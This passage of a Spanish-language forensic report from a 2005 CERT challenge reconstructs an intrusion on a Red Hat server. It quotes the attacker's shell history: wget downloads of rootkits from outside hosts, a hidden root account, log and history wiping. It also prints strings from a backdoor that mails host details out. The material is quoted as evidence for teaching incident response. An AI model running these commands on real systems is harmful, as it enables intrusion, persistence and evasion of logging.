Reto de Análisis Forense V2.0 UNAM – CERT / IRIS –CERT

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Reto de Análisis Forense V2.0 UNAM – CERT /
IRIS –CERT
Informe Tecnico
Ing.-Juan Angel Hurtado
1

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
1.- Introducción. 3
1.1 - Descripción del documento. 3
1.2 - Objetivo. 3
1.3 - Audiencia. 3
1.4 - Resumen. 3
2.- Procedimiento Aplicado. 4
2.1 - Preparación del laboratorio. 4
2.2 – Búsqueda y análisis de evidencia. 7
3 .- Resumen y resultados. 30
3.1 – Resumen y resultados. 30
3.2 – Perfil y motivación del atacante. 32
3.3 – Recomendaciones y conclusiones. 32
4 .- Agradecimientos. 33
Anexo 1. 34
Anexo 2. 35
Anexo 3. 36
Anexo 4. 41
2

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
1.- Introducción.
1.1 - Descripción del documento.
Descripción: Informe Tecnico sobre el análisis forense realizado a
una plataforma Linux comprometida, como participante en el Reto de
Análisis Forense V2.0 propuesto por UNAM-CERT/IRIS-CERT y demás
convocantes.
Autor: Ing. Juan Angel Hurtado Sanchez
Fecha de elaboración: 18/Feb/2005
1.2 - Objetivo.
El presente documento tiene como fin describir de una forma
técnica el procedimiento usado y resultados obtenidos del análisis
forense aplicado a la plataforma propuesta de modo que pueda ser
usado como referencia por personas interesadas en la seguridad
informática como una introducción en la realización análisis de
dicho tipo.
1.3 - Audiencia.
La audiencia pretendida es cualquier persona con conocimientos
de sistemas de cómputo interesada en la seguridad de dichos
sistemas. Este documento pretende ser una referencia a fin de
cumplir con el objetivo planteado en la convocatoria del Reto
Forense V2.0 (“El objetivo de este Reto Forense V2,0 es motivar el
desarrollo en el área de cómputo forense en Ibero América”).
1.4 - Resumen.
En atención al Reto Forense V2.0 propuesto por UNAM-CERT /
IRIS CERT se ofrece este documento que pretende ser una vista
técnica del procedimiento y resultados obtenidos. El análisis de la
plataforma en cuestión fue realizado sobre una plataforma Linux
Fedora Core 3 utilizando para ello los comandos del sistema
operativo (strings, cat, grep, ls, etc;), algunos scripts de autoría
propia, así como el set de herramientas de “The sleuthkit” (Aun que
se prefirió el uso de comandos del SO, a fin de que quienes utilicen
3

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
este documento como referencia no se formen una idea de dependencia
hacia alguna herramienta). El análisis esta basado en una línea de
tiempo del sistema comprometido, fechas de modificación de los
archivos y la información extraída de la evidencia proporcionada
para el Reto. Los hechos en este documento se describen siempre como
“supuestos”, esto es debido a que ante la imposibilidad de observar
el pasado, el analista forense recaba evidencia y puede “suponer”
que fue lo que paso, sin embargo no puede darse el lujo de afirmar
que lo que el supone es exactamente lo que paso. Se procura evitar
formular acusaciones ya que la función del analista forense es la de
tratar de describir y reconstruir hechos, las acciones de acusar,
juzgar y condenar corresponden a las autoridades que cada País
destine para ello.
2.- Procedimiento Aplicado.
2.1 - Preparación del laboratorio.
Primero es necesario instalar el sistema anfitrión que servirá
como laboratorio de trabajo. Para esto se eligió un sistema Linux
Fedora Core 3 montado sobre una partición de disco de 5 GB. La
instalación se siguió de acuerdo al Anaconda (Anaconda es el
instalador de Fedora). La documentación acerca de Fedora puede ser
encontrada en http://fedora.redhat.com. El sistema tiene instalado además
Windows XP, ahí se descargaron y descompactaron los archivos .dd a
analizar por cuestiones de espacio (La partición de Windows XP es de
17 GB), sin embargo estos pueden ser accesazos desde Linux gracias a
la compatibilidad con NTFS. Una vez descompactados se obtienen los
siguientes archivos:
hda1.dd
hda2.dd
hda3.dd
hda5.dd
hda6.dd
firmas.txt
A fin de verificar que los archivos no hayan sufrido
modificaciones durante la descarga y/o descompresión se verifica la
firma de cada uno con el comando md5sum. El resultado es comparado
con el contenido del archivo firmas.txt:
4

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
#md5sum hda1.dd
639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd
#md5sum hda2.dd
a3b9a3464d6f8e2494bca7126ec621b1 hda2.dd
#md5sum hda3.dd
b90bbfb50821086f195054013260888c hda3.dd
#md5sum hda5.dd
0c5ad84632aa4d6612f21f37c5bc4c4f hda5.dd
#md5sum hda6.dd
eb99858c421ae0a48ac7772600dff57c hda6.dd
Una firma distinta indicaría que el archivo no es idéntico al
original, pudiendo ser que se descargara completo o hubiese sido
alterado. Una vez corroboradas todas las firmas, se procede revisar
los archivos .dd obtenidos (En un análisis forense completo, hubiese
sido conveniente interrogar a los administradores y tomar mas
evidencia, ante la imposibilidad de esto se procede con el análisis
del sistema de archivos (File System) directamente). Para ello se
monta el primero de los archivos .dd como un “File System” en “loop”
mediante el comando mount y en modo de solo lectura para evitar
alterar la “escena del crimen”:
# mount -ro,loop hda1.dd /mnt/escena/
Ahora podemos acceder al contenido de hda1.dd a través de
“/mnt/escena/”, en lo consecuente las referencias a “/” (root del
sistema comprometido) serán referencias a “/mnt/escena” en el
sistema anfitrión. Al acceder nos damos cuenta que la estructura
pertenece a un sistema basado en Unix (Aun que por la descripción
del Reto de antemano sabíamos que se trataba de un sistema Linux).
El contenido de hda1.dd parece corresponder al File System raíz
(root). En un primer reconocimiento ingresamos al directorio “/etc”
y aplicamos el comando ls -lsa para listar el contenido del mismo.
Usando el comando “more” accedemos al contenido de algunos archivos
que nos parecen de interés. La existencia del archivo “/etc/redhatrelease”
nos muestra que el sistema pertenece a la distribución de
Linux Red Hat mientras que el contenido del archivo nos muestra la
versión del mismo “Red Hat Linux release 7.3 (Valhalla)”. Otro
archivo de interés es “/etc/sysconfig/network”, cuyo contenido nos
muestra el nombre de la maquina “finanzas” y el gateway que
utilizaba “192.168.200.254”. En “/etc/sysconfig/network-scripts/”
5

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
encontramos la configuración de la interfaz “eth0” en los archivos
ifcfg-eth0 y ifcfg-eth0:1, donde podemos ver que la maquina tenia 2
IP's en una sola interfaz de red física(192.168.200.128 y
192.168.200.188), dichos archivos datan del 20 de Enero y a reserva
de que hubiesen sido modificados nos dan una idea de cuando pudo
haber sido el ultimo “re-boot” de la maquina. Los directorios
“/etc/cron.d/” y ”/etc/cron.daily/ contienen información acerca de
los procesos que la maquina corría como cron, encontramos un proceso
que analizaba los logs del sistema “LogWatcher”, logwatcher es un
paquete que viene con las distribuciones de RedHat, analiza los logs
del sistema operativo y envía un correo con un resumen de ellos, en
este caso el correo era enviado a “root”. ”Finalmente revisamos los
archivos “/etc/mtab” y “/etc/fstab” que nos muestran la distribución
que tenia el File System.
En “/etc/mtab” encontramos que la distribución era la
siguiente:
/dev/hda1 / ext3 rw 0 0
none /proc proc rw 0 0
usbdevfs /proc/bus/usb usbdevfs rw 0 0
none /dev/pts devpts rw,gid=5,mode=620 0 0
/dev/hda2 /home ext3 rw 0 0
none /dev/shm tmpfs rw 0 0
/dev/hda5 /usr ext3 rw 0 0
/dev/hda3 /var ext3 rw 0 0
En con esto comprobamos que el archivo hda1.dd corresponde al
file system “/”, ahora sabemos además que hda2.dd corresponde a
“/home”, hda3.dd a “/var” y hda5.dd a “/usr”. En “/etc/fstab”
encontramos además que hda6.dd estaba destinado a “swap”. Con esto
ya podemos reconstruir todo el file system usando el comando “mount”
como lo hicimos con hda1.dd, dado que durante el análisis tendremos
que montar y desmontar los dd con cierta frecuencia realizamos dos
scripts para automatizar la tarea (Únicamente hda6.dd no será
montado por tratarse de “swap”). Dichos scripts aparecen en este
mismo documento en el Anexo 1. Instalamos además las herramientas
que usaremos para el análisis (Sleuthkit y Autopsy) las herramientas
y las instrucciones para su instalación pueden ser encontradas en
6

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
http://www.sleuthkit.org.
Finalmente pluma y papel para tomar notas y con esto ya
tenemos nuestro laboratorio listo. Montamos los File System’s a
analizar con nuestro script “monta.sh” (En el Anexo 1 encontrara
información para modificar el script a su conveniencia):
#./monta.sh
Podemos ahora iniciar la búsqueda y análisis de evidencia.
2.2 – Búsqueda y análisis de evidencia.
La fecha de los archivos “/etc/sysconfig/networkscripts/ifcfg-eth0”
y “/etc/sysconfig/network-scripts/ifcfg-eth0:1”
nos indica la ultima vez que se iniciaron los servicios de red en el
sistema, lo cual puede ser un indicativo de la ultima vez que se reinicio
el equipo (Mas adelante buscaremos evidencia de ello).
sabemos que las imágenes estuvieron disponibles a partir del 1 de
Febrero del año en curso por lo que de momento suponemos que el
ataque sucedió entre el 20 de Enero y el 1 de Febrero de este año.
Nos dirigimos a “/var/log” a fin de analizar los log's del
equipo, sin embargo encontramos que no existen log's en dicho
directorio solamente se encuentran dos archivos:
# ls -lsa
total 44
24 -rwxr-xr-x 1 root root 24056 Jan 29 15:26
4 drwxr-xr-x 2 root root 4096 Jan 31 04:02 .
4 drwxr-xr-x 20 root root 4096 Jan 20 09:57 ..
12 -rw-r--r-- 1 root root 9209 Jan 31 04:02 rpmpkgs
El archivo rpmpkgs contiene las firmas de los paquetes que
originalmente han sido instalados en la maquina, una practica
interesante es verificar que las firmas correspondan a lo que se
tiene actualmente instalado (De esa forma es posible detectar si
algún programa a sido adulterado), sin embargo el archivo rpmpkgs
del sistema aparece con fecha 31 de Enero, como anteriormente
supusimos que el ataque se dio entre el 20 de Enero y el 1 de
Febrero existe posibilidad que dicho archivo haya sido adulterado
para burlar el análisis forense, por tanto de momento descartamos
7

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
dicho ejercicio. Por otro lado resulta bastante sospechosa la primer
línea ya que muestra un archivo con nombre “ “ (vació) de fecha ENE-
29, pudiendo ser algún programa que el atacante tratara de ocultar
nombrándolo de esa forma. El comando “more” nos muestra que no se
trata de un archivo de texto asi que de momento vaciamos el
contenido del archivo mediante la sentencia “strings < “ “ >
archivomisterioso.txt”. Al analizar el contenido de
“archivomisterioso.xtx” encontramos que probablemente sea una
herramienta utilizada por el atacante para abrir un backdoor, de
momento guardamos la información y continuamos con el análisis, las
siguientes líneas fueron encontradas en dicho archivo.
socket
bind
listen
Port for Alinutu :P
PID = %d
touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info;
cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >>
/tmp/.info; cat /tmp/.info | mail -s 'Port nou'
radautiteam@yahoo.com
/usr/tmp
/dev/null
HOME=%s
Nu pot forta PTY, pa-pa!
Los archivos contenidos en “/var/log” indican que el atacante
probablemente llego a tener privilegios de superusario y haya
borrado los archivos de log de la maquina. Trataremos de recuperar
lo que sea posible de estos archivos de los archivos hda3.dd y
hda6.dd, damos un primer vistazo con el comando “strings < hda3.dd |
grep 'finanzas' | more”, aplicamos también para hda6.dd (swap). El
buscar cadenas de texto basados en patrones también va a ser una
tarea que haremos varias veces durante el análisis, asi que usaremos
un pequeño script de autoría propia para ello.
El script hecho en perl aparece en el Anexo 2 de este
documento, básicamente le daremos un archivo de entrada, uno de
salida y el patrón a buscar, lo que hará el strip será buscar en el
archivo de entrada aquellas líneas que contengan la palabra clave y
las depositara en el archivo de salida, usaremos como patrón de
búsqueda la palabra “finanzas”, que es el nombre del host's según lo
encontramos anteriormente:
#./parser.pl finanzas hda3.dd finanzashda3dd.txt &
#./parser.pl finanzas hda6.dd finanzashda6dd.txt &
8

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Mientras que de hda6.dd no obtuvimos mas que 3 líneas sin
relevancia, de hda3.dd (Que es el File System que originalmente
contenía los log's) pudimos recuperar fragmentos de los archivos de
“log” de la maquina. El log recuperado confirma que la maquina
sufrió un “re-boot” el 20 de Enero alrededor de las 16:33 (Tiempo de
la Ciudad de México según el reloj del sistema comprometido, todos
los tiempos serán referentes a esta zona horaria ya que es la que se
encontró en el archivo /etc/sysconfig/clock de la maquina).
Alrededor de las 16:44 levanta los servicios de MySQL, un Web Server
(Probablemente Apache), sendmail, cron, anacron, y ssh. Casi una
hora mas tarde comienza un ataque de diccionario (Password
Guessing), un ataque de este tipo intenta adivinar el password
(Haciendo conexiones vía ssh en este caso) probando posibles
combinaciones de usuarios/passwords provenientes de una lista hecha
(diccionario), el ataque proviene de varios orígenes y duraría
varios días. Dado que no encontramos log’s en el equipo revisamos el
archivo “/var/mail/root” puesto que según data en los directorios
“/etc/cron.d” y “/etc/cron.daily” en la maquina corrían varios
procesos que generaban estadísticos del sistema (Logwatcher) y los
enviaban por correo a root, esperamos que el superusuario root aun
conserve alguno de ellos. Descubrimos que dicho archivo contiene
bastante información del ataque de diccionario, sin embargo al
revisar de forma mas detallada el archivo “/var/mail/root” nos damos
cuenta de que entre intentos se repiten los usuarios, probablemte el
atacante este dando vueltas al mismo diccionario, o varios
atacantes estén usando el mismo diccionario. Por esta razón
descartamos que el incidente se haya producido a partir de dicho
ataque (Ya que el (los) atacante(s) estuvieron repitiendo el mismo
diccionario), aun asi se anexa en este mismo documento un resumen de
dicho ataque en el Anexo 4.
Continuando con el archivo “/var/mail/root”, existen correos
del Log Watcher hasta el 29 de Enero a las 4:02 AM, curiosamente a
partir del mismo 29 pero a las 15:30 horas aparecen mensajes como el
que sigue:
From root Sat Jan 29 15:30:00 2005
Return-Path:
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id j0TLU0H24846
9

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
for root; Sat, 29 Jan 2005 15:30:00 -0600
Date: Sat, 29 Jan 2005 15:30:00 -0600
Message-Id:
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron /usr/lib/sa/sa1 1 1
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
Cannot open /var/log/sa/sa29: No such file or directory
Los mensajes continúan hasta el día 31 de Enero a las 15:20.
Ahora bien, tenemos actividad del log-watcher hasta el día 29
(Cuando procesó los logs del día anterior 28 de Enero), el mismo día
29 la herramienta sysstat que corría cada 10 min. según el archivo
“/etc/cron.d/sysstat” comienza a reportarla falta de archivos en el
directorio de “/var/log” a partir de las 15:30, en el mismo
directorio se encontró una herramienta de Hacking oculta bajo el
nombre “ “ (vació), dicha herramienta data del mismo día 29 de Enero
a las 15:26. Partiendo de esto generamos dos ejercicios de
investigación, por un lado generamos una lista de archivos cuya
fecha de sea 29 de Enero, y por otro lado utilizamos nuestro script
para buscar dentro de hda3.dd y hda6.dd usando el patrón 'Jan 29',
los comandos a utilizar son:
1) #ls -lRsa /mnt/escena/ | grep 'Jan 29' > $HOME/archivosdel29.txt
2) #parser.pl 'Jan 29' hda3.dd Jan29hda3.txt
3) #parser.pl 'Jan 29' hda6.dd Jan29hda6.txt
Una vez que ordenamos y depuramos los resultados que nos
genera el comando 1 (Dicha lista aparece completa en el Anexo 3),
encontramos la siguiente cronología:
A las 4:02 AM se ejecuta el webalizer (Que es un analizador de logs
para Web Server's).
A las 15:16 una serie de archivos en el directorio /dev/ accedidos,
llama la atención también el /bin/gawk, por otro lado se encuentran
los archivos /dev/hdx1 y /dev/hdx2, estos archivos son creados por
el virus RST.b:
10

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
29 ene 15:16 /bin/gawk-3.1.0
29 ene 15:16 /bin/gawk
29 ene 15:16 /dev/hdx2
29 ene 15:16 /dev/hdx1
A las 15:17 aparecen los siguientes archivos, parecen indicar la
creación del un usuario “weed”:
29 ene 15:17 disco1/home
29 ene 15:17 disco1/var/spool/mail/weed
29 ene 15:17 disco1/home/weed
29 ene 15:17 disco1/home
29 ene 15:17 disco1/home/lost? ..
29 ene 15:17 disco1/home/Contador ..
29 ene 15:17 disco1/home/weed/.bashrc
29 ene 15:17 disco1/home/weed/.bash_profile
29 ene 15:17 disco1/home/weed/.bash_logout
Entre 15:20 y 15:21 una gran cantidad de archivos en /usr/include
son modificados. Posteriormente a las 15:22 aparecen archivos
.bash_history en “/root” a las 15:25, se modifican una varios
archivos dentro de “/etc” y aparece otro “bash_history” esta ves en
“/”. Analicemos ahora la actividad que quedo registrada en los
.bash_history siendo el primero el encontrado en “/root” que se
cerro a las 15:22. y el segundo el que se encuentra en “/” que se
cerro a las 15:27, ambos pertenecieron al súper usuario “root”. Se
intercalan comentarios en rojo:
----------- Archivo /root/.bash_history-----------------
ls lista el contenido del directorio
dir lista el contenido del directorio
ps xc lista los procesos que corren bajo el usuario (root en este
caso)
wget xhack.150m.com/sc.tgz descarga sc.tgz desde xhack.150m.com,
este archivo contiene un colección de “shell codes” o utilerías para
el hacker, con varios propósitos desde expulsar la unidad de CD-
ROOM, evadir IDS, ejecutar código etc;
tar -zxvf sc.tgz desempaqueta el contenido de sc.tgz
cd sc ingresa al directorio sc
./inst instala lo que parece ser un sniffer que se carga en memoria.
Este archivo estaba contenido en sc.tgz
./sk ejecuta el script sk, con esto pone un funcion el sniffer
w lista a los usuarios que se encuentran logueados en la maquina,
11

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
probablemente para ver quien esta con el en ese momento.
wget xhack.150m.com/https Descarga del mismo sitio el script “https”
perl https Ejecuta el script “https” que aparenta ser un perl script
que funge como backdoor contiene funciones de cliente de IRC, la
configuración del mismo le permitiría conectarse a eu.undernet.org y
ejecutar algunas funciones como escaneo de puertos y ejecución de un
ataques y comandos de manera remota. Al analizar el script
básicamente se deduce que al ejecutarlo se conecta a
eu.undernet.org como el usuario “bitch”, el atacante entonces puede
iniciar una conversación con el y a través de el ejecutar comandos,
escáner puertos y/o ejecutar ataques.
cd ..
rmrm -rf sc* Elimina la evidencia acerca de sc.tgz.
----------- Archivo /.bash_history-----------------
id Verifica la identidad del usuario
/usr/sbin/adduser -g 0 -u 0 -o weed Agrega un usuario “weed” con
privilegios de root. Probablemente para conservar el acceso remoto
al equipo.
passwd weed Asigna password a el usuario “weed”
/sbin/ifconfig | grep "inet" Verifica las IP’s del equipo
ls –sa Lista el contenido del directorio.
dir Lista el contenido del directorio.
/usr/sbin/userdel weed Elimina al usuario que acaba de crear.
ls –sa Lista el contenido del directorio.
dir Lista el contenido del directorio.
rm -rf za* Elimina todo archivo o directorio que comienza con “za”.
rm -rf own Elimina todo archivo o directorio “own”.
/usr/sbin/adduser -g 0 -u 0 -o weed Vuelve a crear el usuario
“weed”.
passwd weed Assign password a el usuario “weed”
wget www.zetu.as.ro/crk.tar.gz Descarga “crk.tar.gz”. Este archivo
contiene un rootkit y un backdoor, este archivo trae algunas cosas
bastante interesantes que detallamos mas abajo. Un análisis con el
antivirus nos muestra que estos archivos están infectados con alguna
variante del virus RST.b
tar xzvf crk.tar.gz Desempaqueta el archivo.
cd crk Ingresa al directorio crk.
./install eliteaza 1 Ejecuta el instalador, el primer argumento es
un password a usarse par realizar conexiones de ssh, el segundo
argumento es el puerto en que se levanta el backdoor de ssh. Este
script debe de ser ejecutado como root revisando el código del shell
script “install” encontramos las siguientes líneas:
12

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
killall -9 syslogd (Esta linea mata el syslog)
rm -rf /var/log/* (Esta linea elimina los logs)
unset HISTFILE (Esta linea desactiva el guardado del historial)
unset HISTSAVE (Esta linea desactiva el guardado del historial)
rm -rf /bash.history Elimina el historial de comandos
rm -rf /root/.bash_history Elimina el historial de comandos, asi
que probablemente aquí fue donde se eliminaron los logs de el
equipo.
id Verifica el usuario nuevamente. Parece que algo salio mal.
su Intenta convertirse en “root”. Aun que todo párese indicar que ya
“root” en ese momento
cd crk Otra vez intenta instalar
dir
./install eliteaz 9933 Esta vez instala en el puerto 9933
ssh -l weed localhost Intenta conectarse con el usuario weed
ls –sa Lista el contenido
dir Lista el contenido nuevamente. Es evidente que algo no va bien.
passwd weed Cambia el password y reintenta la conexión.
ssh -l weed localhost
eliteazazel
Finalmente opta por eliminar el usuario weed
userdel weed
/usr/sbin/userdel weed
Nuevamente lista el contenido y esta vez elimina un archivo own y
sc/* puede haber sido otro intento de instalar el mismo troyano
descrito anteriormente.
ls =-sa
dir
rm -rf own
cd sc
dir
cd ..
rm -rf sc*
Se cambia al directorio /var/log crea un directorio daemon, descarga
el archivo “pico”, lo oculta llamándolo “ “ y finalmente lo ejecuta.
Este archivo es el que habíamos encontrado anteriormente y al cual
llamamos archivo misterioso, como ya vimos se trata de un backdoor.
cd /var/log
dir
mkdir daemon
wget www.zetu.as.ro/pico
chmod +x pico
mv pico " "
export PATH="."
" "
Mata el proceso zbind. “zbind” es una utilería generalmente
contenida en “za.tgz” junto a los archivos za, y zero (Aquí se
13

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
explica que anteriormente halla borrado todo lo referente a za*.),
existe poca información al respecto, sin embargo parece tratarse de
un backdoor que abre un puerto en la maquina para recibir conexiones
“telnet” en el puerto 4000 y obtener una shell como “root”. Es de
notar que no haya evidencia de que haya bajado dicha utilería, ni
evidencia de su ejecución. Por tanto es probable que dichas acciones
hayan sido tomadas como otro usuario del sistema y a través de ellas
haya obtenido el acceso como root (Elevación de privilegios).
/usr//sbin/killall -9 zbind
/usr/sbin/killall -9 zbind
/usr/bin/killall -9 zbind
bash
Bien hasta aquí sabemos que el sistema fue comprometido el día
29 de Enero entre las 15:00 y las 15:30, también tenemos un
historial de lo que realizo el atacante al menos hasta las 15:27,
Continuemos con nuestra revisión, a las 15:25 se modificaron una
gran cantidad de archivos en /etc, probablemente se deba a la
instalación de un rootkit:
29 ene 15:25 /etc/dhcpc ..
29 ene 15:25 /etc/default ..
29 ene 15:25 /etc/skel ..
29 ene 15:25 /etc/iproute2 ..
29 ene 15:25 /etc/makedev.d ..
29 ene 15:25 /etc/hotplug ..
29 ene 15:25 /etc/security ..
29 ene 15:25 /etc/openldap ..
29 ene 15:25 /etc/alternatives
…
A las 15:36 se instala w00t, un sniffer con escáner de
puertos. Que como veremos más adelante también proporciona una
herramienta para realizar un exploit a servidores de samba
vulnerables:
29 ene 15:36 /var/tmp w00t
29 ene 15:36 /var/tmp/w00t 200.207.pscan.139
29 ene 15:36 /var/tmp/w00t .
Y finalmente un huellas de un servidor Proxy de IRC el psybnc:
29 ene 15:46 /var/tmp/psybnc/psybnc.pid
29 ene 15:46 /var/tmp/psybnc/log/psybnc.log
29 ene 15:48 /var/tmp/psybnc/log
29 ene 15:48 /var/tmp/psybnc/log/USER1.TRL
29 ene 15:48 /var/tmp/psybnc/log .
29 ene 15:49 /var/tmp/psybnc motd
14

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
29 ene 15:49 /var/tmp/psybnc/motd/USER1.MOTD
29 ene 15:49 /var/tmp/psybnc/motd .
29 ene 17:53 /var/tmp/psybnc/psybnc.conf.old
29 ene 17:53 /var/tmp/psybnc/psybnc.conf
Con eso termina la actividad del atacante el día 29. En este
punto podemos ya generar un perfil del atacante, si usamos la
clasificación que comúnmente se usa para denominar a los Hackers
según sus habilidades y conocimientos, y asumimos tres niveles
siendo Elite Hackers el nivel mas alto, Hackers el nivel medio y
Script Kiddie's el nivel mas bajo. Es evidente que nuestro atacante
se ubicaría en el nivel mas bajo “Script Kiddie's”. Las razones para
ubicarlo ahí son:
a) El atacante utilizo herramientas y utilerías disponibles en
la red. Mientras que los Hacker's, y los Elite Hacker's prefieren
utilizar herramientas escritas por ellos, los Script Kiddie's
utilizan generalmente herramientas que encuentran en la red y medio
conocen su funcionamiento. Las razones de un Hacker para preferir
una herramienta escrita por el son varias, una herramienta que se
encuentre en la red podrá ser rastreada (Como lo hicimos aquí),
probablemente deje una firma que pueda ser detectada, el escribir
sus propias herramientas da mas realce al nombre del Hacker (Lo
ubica como Elite), etc;
b) En varias ocasiones el atacante parece no saber que hacer.
Mas que un atacante con plan de actividades bien realizado (Es decir
un atacante que haya planeado vulnerar intencional y específicamente
este equipo), da la impresión de que llego ahí por mera casualidad ,
y , una vez dentro trato de hacer cuando pudo, no seria una sorpresa
que hubiese usado un escáner de vulnerabilidades probando varias
redes hasta que dio con nuestra maquina.
c)Las consecuencias legales de un ataque informático pueden
ser varias. El muy dudoso que algún Hacker de Elite se arriesgara a
enfrentar un proceso Judicial por “chatear” en el IRC.
Dicho esto prosigamos con el análisis, dado que ya sabemos que
el ataque se produjo el día 29 de Enero, repetiremos el ejercicio de
análisis de fechas para los días 30 y 31 a fin de recabar más
información los comandos a utilizar son:
#ls -lRsa /mnt/escena/ | grep 'Jan 30' >
$HOME/archivosdel30.txt
#ls -lRsa /mnt/escena/ | grep 'Jan 31' >
$HOME/archivosdel31.txt
15

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Los resultados de estos los analizamos mas adelante, para
seguir un orden veamos ahora lo que obtuvimos al parsear los
archivos hda3.dd y hda6.dd con nuestro script. Nuevamente hda6.dd
(swap) nos queda mal, no pudimos obtener nada de ahí, pero de
hda3.dd(/var), encontramos algo muy interesante, los del Apache Web
Server, dichos log's son fuerte indicativo acerca de la forma en que
el atacante llego a la victima, intercalo comentarios en rojo:
[Sat Jan 29 12:11:30 2005] [error] [client 24.211.139.31] File
does not exist: /var/www/html/pk/service (aquí busca el archivo
pk/service que forma parte de una vulnerabilidad es una muestra de
que el servidor estaba bajo escaneos de vulnerabilidades)
[Sat Jan 29 12:11:50 2005] [error] [client 24.211.139.31] File
does not exist: /var/www/html/pk/service(Lo mismo que el anterior)
[Sat Jan 29 14:57:44 2005] [error] [client 64.202.43.190]
client sent HTTP/1.1 request without hostname (see RFC2616
section 14.23): /(Aquí el atacante envía una consulta de
HTTP/1.1 mal formado, note que el log indica la falta del tag Host)
[Sat Jan 29 14:57:45 2005] [error] [client 64.202.43.190]
client sent HTTP/1.1 request without hostname (see RFC2616
section 14.23): /(Lo mismo que el anterior con un segundo de
diferencia, otra indicación de un escáner de vulnerabilidades (Tuvo
que ser automatizado, nadie teclea tan rápido))
[Sat Jan 29 14:58:51 2005] [error] mod_ssl: SSL handshake
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS
L library error follows)(Se produce un crash en mod_ssl, note
como el error hace referencia al handshake)
[Sat Jan 29 14:58:51 2005] [error] OpenSSL:
error:1406908F:lib(20):func(105):reason(143)(OpenSSL falla)
[Sat Jan 29 15:00:01 2005] [error] mod_ssl: SSL handshake
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS
L library error follows) (Se repiten las líneas anteriores,
rcordemos que al atacante mando dos o mas consultas de HTTP en menos
de un segundo, note la hora del ultimo error 15:14, apenas unos
minutos antes de que comenzara la actividad anormal en el equipo)
[Sat Jan 29 15:00:01 2005] [error] OpenSSL:
error:1406908F:lib(20):func(105):reason(143)
[Sat Jan 29 15:10:49 2005] [error] mod_ssl: SSL handshake
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS
L library error follows)
[Sat Jan 29 15:10:49 2005] [error] OpenSSL:
error:1406908F:lib(20):func(105):reason(143)
16

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
[Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS
L library error follows)
[Sat Jan 29 18:19:17 2005] [error] System: No existe el
fichero o el directorio (errno: 2)(Despues de varias fallas el
Apache + mod_ssl parece no volver a recuperarse)
[Sat Jan 29 18:19:17 2005] [error] mod_ssl: Child could not
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys
tem error follows)
[Sat Jan 29 18:19:17 2005] [error] System: No existe el
fichero o el directorio (errno: 2)
[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys
tem error follows)
[Sat Jan 29 18:19:18 2005] [error] System: No existe el
fichero o el directorio (errno: 2)
[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys
tem error follows)
[Sat Jan 29 18:19:18 2005] [error] System: No existe el
fichero o el directorio (errno: 2)
[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not
open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys
tem error follows)
Se recuperan además unas líneas del psyBNC, como ya sabemos
que el atacante instalo este servidor Proxy de IRC no exponemos esas
líneas, sin embargo como la mayoría del material aquí expuesto se
adjunta la evidencia en los archivos de apoyo enviados junto a este
reporte. Volviendo a lo que nos ocupa, es evidente que la falla en
el Apache se relaciona de algún modo con las actividades del
atacante, tomamos nota de la IP 64.202.43.190 que corresponde según
www.arin.net a un proveedor de Hosting en Reno Nevada EEUU llamado
Altaway, y ejecutamos nuestro script esta vez usando como palabra
clave “Jan “, esto lo hacemos recordando que el sistema inicio el 20
de Enero asi que esperamos encontrar una linea “[notice]” del log de
Apache que nos ayude a identificar la versión del mismo. Encontramos
una linea del 23 de enero que nos indica además la versión de
OpenSSL usada:
[Sun Jan 23 04:02:01 2005] [notice] Apache/1.3.23 (Unix)
(Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PH
